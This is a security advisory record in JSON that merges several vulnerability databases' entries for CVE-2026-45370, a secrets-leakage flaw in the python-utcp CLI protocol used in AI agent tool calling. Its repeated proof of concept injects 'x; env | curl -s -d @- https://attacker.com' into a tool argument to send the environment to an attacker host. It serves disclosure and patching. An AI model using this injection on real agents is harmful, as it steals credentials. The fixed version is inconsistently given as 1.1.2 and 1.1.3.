{"id":"CVE-2026-45370","aliases":["EUVD-2026-30477","GHSA-5v57-8rxj-3p2r","PYSEC-2026-3395"],"status":"published","title":"python-utcp: Full Process Environment Exposed to CLI Subprocess - Secrets Leakage via Command Injection","description":"python-utcp is the python implementation of UTCP. Prior to 1.1.3, _prepare_environment() in cli_communication_protocol.py passes a full copy of os.environ to every CLI subprocess. When combined with CVE-2026-45369, an attacker can exfiltrate all process-level secrets in a single tool call. This vulnerability is fixed in 1.1.3.","severity":{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00223,"percentile":0.13099,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-526"],"published":"2026-05-14T20:14:20Z","modified":"2026-10-26T14:10:00Z","fixes":[{"ecosystem":"PyPI","package":"utcp-cli","fixed_in":["1.1.2"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"utcp-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.1.1"},{"fixed":"1.1.2"}]}]},{"source":"osv","ecosystem":"PyPI","package":"utcp-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.1.2"}]}],"versions":["1.0.0","1.0.1","1.0.2","1.1.0","1.1.1"]},{"source":"osv","ecosystem":"PyPI","package":"utcp-cli","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.1.2"}]}],"versions":["1.0.0","1.0.1","1.0.2","1.1.0","1.1.1"]}],"products":[{"vendor":"universal-tool-calling-protocol","product":"python-utcp"}],"references":[{"url":"https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-5v57-8rxj-3p2r","tags":["x_refsource_CONFIRM","exploit","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45370","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-5v57-8rxj-3p2r","tags":["advisory"]},{"url":"https://github.com/universal-tool-calling-protocol/python-utcp","tags":["package"]},{"url":"https://pypi.org/project/utcp-cli","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-45370","title":"python-utcp: Full Process Environment Exposed to CLI Subprocess - Secrets Leakage via Command Injection","description":"python-utcp is the python implementation of UTCP. Prior to 1.1.3, _prepare_environment() in cli_communication_protocol.py passes a full copy of os.environ to every CLI subprocess. When combined with CVE-2026-45369, an attacker can exfiltrate all process-level secrets in a single tool call. This vulnerability is fixed in 1.1.3.","status":"published","published":"2026-05-14T20:14:20.148Z","modified":"2026-05-15T11:23:57.596Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high","assessor":"cna"}],"cwes":["CWE-526"],"updated_at":"2026-11-02T13:46:43.922571Z"}],"euvd":[{"id":"EUVD-2026-30477","description":"python-utcp is the python implementation of UTCP. Prior to 1.1.3, _prepare_environment() in cli_communication_protocol.py passes a full copy of os.environ to every CLI subprocess. When combined with CVE-2026-45369, an attacker can exfiltrate all process-level secrets in a single tool call. This vulnerability is fixed in 1.1.3.","status":"published","published":"2026-05-14T20:14:20Z","modified":"2026-05-15T11:23:57Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T19:04:28.872228Z"}],"ghsa":[{"id":"GHSA-5v57-8rxj-3p2r","title":"python-utcp: Full Process Environment Exposed to CLI Subprocess - Secrets Leakage via Command Injection","description":"## Summary\n\n`_prepare_environment()` in `cli_communication_protocol.py` passes a full copy of `os.environ` to every CLI subprocess. When combined with the Command Injection vulnerability (CWE-78) in `_substitute_utcp_args()` tracked as GHSA-33p6-5jxp-p3x4, an attacker can exfiltrate all process-level secrets in a single tool call.\n\n## Vulnerable Code\n\n```python\n# cli_communication_protocol.py\ndef _prepare_environment(self, provider: CliCallTemplate) -\u003e Dict[str, str]:\n    env = os.environ.copy()        # All secrets inherited\n    if provider.env_vars:\n        env.update(provider.env_vars)\n    return env\n```\n\n## Impact\n\nAny environment variable present in the host process is accessible to injected commands. In typical AI agent deployments this includes:\n\n- Cloud provider credentials (AWS_SECRET_ACCESS_KEY, AZURE_CLIENT_SECRET)\n- Database connection strings (DATABASE_URL)\n- LLM API keys (OPENAI_API_KEY, ANTHROPIC_API_KEY)\n- Internal service tokens\n\n## Proof of Concept\n\n```python\n# Tool defined as:\n{\"command\": \"grep UTCP_ARG_pattern_UTCP_END logfile.txt\"}\n\n# Attacker supplies:\ntool_args = {\"pattern\": \"x; env | curl -s -d @- https://attacker.com\"}\n\n# Executed bash script:\n# CMD_0_OUTPUT=$(grep x; env | curl -s -d @- https://attacker.com 2\u003e\u00261)\n# -\u003e Full env dump sent to attacker including all secrets\n```\n\n## Patched\n\nFixed in `utcp-cli` 1.1.2. `_prepare_environment` no longer copies the full host environment. Inheritance is controlled by a new `CliCallTemplate.inherit_env_vars` field:\n\n- `null` (default): a small built-in OS-specific allowlist (`PATH`, `HOME`, `LANG` on Unix; `PATH`, `PATHEXT`, `SYSTEMROOT`, `USERPROFILE`, etc. on Windows) is inherited so shells and binaries continue to work.\n- `[]`: strict mode -- nothing from the host environment reaches the subprocess; only `env_vars` is propagated.\n- `[\"FOO\", \"BAR\"]`: exactly those host variables are inherited (replaces, not merges with, the default allowlist).\n\n`env_vars` is always layered on top and overrides any inherited value. Secrets like `OPENAI_API_KEY` no longer reach the subprocess unless the call template explicitly opts them in.\n\n## Mitigation\n\nUpgrade to `utcp-cli \u003e= 1.1.2`. There is no workaround in earlier versions short of stripping secrets from the host process before any CLI tool call.\n\n## Credit\n\nReported by @ZeroXJacks.","status":"published","published":"2026-05-14T20:56:07Z","modified":"2026-05-15T23:47:03Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-526"],"updated_at":"2026-11-02T14:40:10.269075Z"}],"nvd":[{"id":"CVE-2026-45370","description":"python-utcp is the python implementation of UTCP. Prior to 1.1.3, _prepare_environment() in cli_communication_protocol.py passes a full copy of os.environ to every CLI subprocess. When combined with CVE-2026-45369, an attacker can exfiltrate all process-level secrets in a single tool call. This vulnerability is fixed in 1.1.3.","status":"published","published":"2026-05-14T21:16:48.35Z","modified":"2026-10-26T14:10:00.13Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high","assessor":"secondary"}],"cwes":["CWE-526"],"updated_at":"2026-11-02T14:12:19.39893Z"}],"osv":[{"id":"GHSA-5v57-8rxj-3p2r","title":"python-utcp: Full Process Environment Exposed to CLI Subprocess - Secrets Leakage via Command Injection","description":"## Summary\n\n`_prepare_environment()` in `cli_communication_protocol.py` passes a full copy of `os.environ` to every CLI subprocess. When combined with the Command Injection vulnerability (CWE-78) in `_substitute_utcp_args()` tracked as GHSA-33p6-5jxp-p3x4, an attacker can exfiltrate all process-level secrets in a single tool call.\n\n## Vulnerable Code\n\n```python\n# cli_communication_protocol.py\ndef _prepare_environment(self, provider: CliCallTemplate) -\u003e Dict[str, str]:\n    env = os.environ.copy()        # All secrets inherited\n    if provider.env_vars:\n        env.update(provider.env_vars)\n    return env\n```\n\n## Impact\n\nAny environment variable present in the host process is accessible to injected commands. In typical AI agent deployments this includes:\n\n- Cloud provider credentials (AWS_SECRET_ACCESS_KEY, AZURE_CLIENT_SECRET)\n- Database connection strings (DATABASE_URL)\n- LLM API keys (OPENAI_API_KEY, ANTHROPIC_API_KEY)\n- Internal service tokens\n\n## Proof of Concept\n\n```python\n# Tool defined as:\n{\"command\": \"grep UTCP_ARG_pattern_UTCP_END logfile.txt\"}\n\n# Attacker supplies:\ntool_args = {\"pattern\": \"x; env | curl -s -d @- https://attacker.com\"}\n\n# Executed bash script:\n# CMD_0_OUTPUT=$(grep x; env | curl -s -d @- https://attacker.com 2\u003e\u00261)\n# -\u003e Full env dump sent to attacker including all secrets\n```\n\n## Patched\n\nFixed in `utcp-cli` 1.1.2. `_prepare_environment` no longer copies the full host environment. Inheritance is controlled by a new `CliCallTemplate.inherit_env_vars` field:\n\n- `null` (default): a small built-in OS-specific allowlist (`PATH`, `HOME`, `LANG` on Unix; `PATH`, `PATHEXT`, `SYSTEMROOT`, `USERPROFILE`, etc. on Windows) is inherited so shells and binaries continue to work.\n- `[]`: strict mode -- nothing from the host environment reaches the subprocess; only `env_vars` is propagated.\n- `[\"FOO\", \"BAR\"]`: exactly those host variables are inherited (replaces, not merges with, the default allowlist).\n\n`env_vars` is always layered on top and overrides any inherited value. Secrets like `OPENAI_API_KEY` no longer reach the subprocess unless the call template explicitly opts them in.\n\n## Mitigation\n\nUpgrade to `utcp-cli \u003e= 1.1.2`. There is no workaround in earlier versions short of stripping secrets from the host process before any CLI tool call.\n\n## Credit\n\nReported by @ZeroXJacks.","status":"published","published":"2026-05-14T20:56:07Z","modified":"2026-07-13T16:42:53.29616192Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"cwes":["CWE-526"],"updated_at":"2026-11-02T15:46:38.911014Z"},{"id":"PYSEC-2026-3395","title":"python-utcp: Full Process Environment Exposed to CLI Subprocess - Secrets Leakage via Command Injection","description":"## Summary\n\n`_prepare_environment()` in `cli_communication_protocol.py` passes a full copy of `os.environ` to every CLI subprocess. When combined with the Command Injection vulnerability (CWE-78) in `_substitute_utcp_args()` tracked as GHSA-33p6-5jxp-p3x4, an attacker can exfiltrate all process-level secrets in a single tool call.\n\n## Vulnerable Code\n\n```python\n# cli_communication_protocol.py\ndef _prepare_environment(self, provider: CliCallTemplate) -\u003e Dict[str, str]:\n    env = os.environ.copy()        # All secrets inherited\n    if provider.env_vars:\n        env.update(provider.env_vars)\n    return env\n```\n\n## Impact\n\nAny environment variable present in the host process is accessible to injected commands. In typical AI agent deployments this includes:\n\n- Cloud provider credentials (AWS_SECRET_ACCESS_KEY, AZURE_CLIENT_SECRET)\n- Database connection strings (DATABASE_URL)\n- LLM API keys (OPENAI_API_KEY, ANTHROPIC_API_KEY)\n- Internal service tokens\n\n## Proof of Concept\n\n```python\n# Tool defined as:\n{\"command\": \"grep UTCP_ARG_pattern_UTCP_END logfile.txt\"}\n\n# Attacker supplies:\ntool_args = {\"pattern\": \"x; env | curl -s -d @- https://attacker.com\"}\n\n# Executed bash script:\n# CMD_0_OUTPUT=$(grep x; env | curl -s -d @- https://attacker.com 2\u003e\u00261)\n# -\u003e Full env dump sent to attacker including all secrets\n```\n\n## Patched\n\nFixed in `utcp-cli` 1.1.2. `_prepare_environment` no longer copies the full host environment. Inheritance is controlled by a new `CliCallTemplate.inherit_env_vars` field:\n\n- `null` (default): a small built-in OS-specific allowlist (`PATH`, `HOME`, `LANG` on Unix; `PATH`, `PATHEXT`, `SYSTEMROOT`, `USERPROFILE`, etc. on Windows) is inherited so shells and binaries continue to work.\n- `[]`: strict mode -- nothing from the host environment reaches the subprocess; only `env_vars` is propagated.\n- `[\"FOO\", \"BAR\"]`: exactly those host variables are inherited (replaces, not merges with, the default allowlist).\n\n`env_vars` is always layered on top and overrides any inherited value. Secrets like `OPENAI_API_KEY` no longer reach the subprocess unless the call template explicitly opts them in.\n\n## Mitigation\n\nUpgrade to `utcp-cli \u003e= 1.1.2`. There is no workaround in earlier versions short of stripping secrets from the host process before any CLI tool call.\n\n## Credit\n\nReported by @ZeroXJacks.","status":"published","published":"2026-07-13T15:19:08.260682Z","modified":"2026-07-13T16:33:27.588221707Z","cvss":[{"version":"3.1","score":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:52:56.847083Z"}]}}